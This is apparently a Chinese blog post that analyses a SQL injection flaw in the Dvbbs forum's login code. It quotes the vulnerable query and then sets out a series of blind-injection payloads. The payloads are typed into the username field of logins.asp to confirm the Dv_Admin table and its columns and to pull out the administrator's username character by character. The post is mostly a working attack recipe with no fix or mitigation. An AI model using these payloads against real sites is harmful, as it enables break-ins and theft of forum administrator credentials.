查看文章 |
挺无聊的,分析下”洞网/”,环境架好后.找到有问题的语句: End If Else username=trim(Dvbbs.CheckStr(request("username"))) If ajaxPro Then username = unescape(username) End If
变量username带入到查询语句如下: If ChkUserLogin(username,password,mobile,usercookies,1)=false Then Set chrs=Dvbbs.Execute("select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1") If chrs.eof and chrs.bof Then If Not ajaxPro Then Dvbbs.AddErrCode(12) Else strString("本论坛不存在该用户名.@@@@0")'o End If Exit Function End If set chrs=nothing End If
可以看到关键的语句就是这个了: select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1
来构造语句: where' and (select count(*) from Dv_Admin)>0 and '1'='1 //判断是否存在表名Dv_Admin 此语句在查询时,就会变成: select Passport,IsChallenge from [Dv_User] where username=’ where' and (select count(*) from Dv_Admin)>0 and '1'='1 and IsChallenge=1
先来测试一下这个语句: 先注册一用户where
在文件logins.asp用户名里填入: where' and (select count(*) from Dv_Admin)>0 and '1'='1 在密码处填入正确密码.
点登录,如果登录正常,说明,存在表单Dv_admin,
反之,如果出错提示,证明无此表单.
依此类推,构造语句: where' and(select count(username) from Dv_admin)>0 and '1'='1 //判断是否存在列名username where' and(select count(password) from Dv_admin)>0 and '1'='1 //判断是否存在列名password
where' and(select top 1 len(username) from dv_admin)>10 and '1'='1 where' and(select top 1 len(username) from dv_admin)<5 and '1'='1 where' and(select top 1 len(username) from dv_admin)=5 and '1'='1 //判断username列表值长度是否大于10,小于5,等于5
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)>100 and 1=1 and '1'='1 where' and (select top 1 asc(mid(username,1,1)) from dv_admin)<97 and 1=1 and '1'='1 where' and (select top 1 asc(mid(username,1,1)) from dv_admin)=97 and 1=1 and '1'='1 //判断username列表的第一位字母的ASCII码值是否大于100,小于97,等于97
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)>100 and 1=1 and '1'='1 where' and (select top 1 asc(mid(username,2,1)) from dv_admin)<97 and 1=1 and '1'='1 where' and (select top 1 asc(mid(username,2,1)) from dv_admin)=97 and 1=1 and '1'='1 //判断username列表的第二位字母的ASCII码值是否大于100,小于97,等于97 …….类推… |

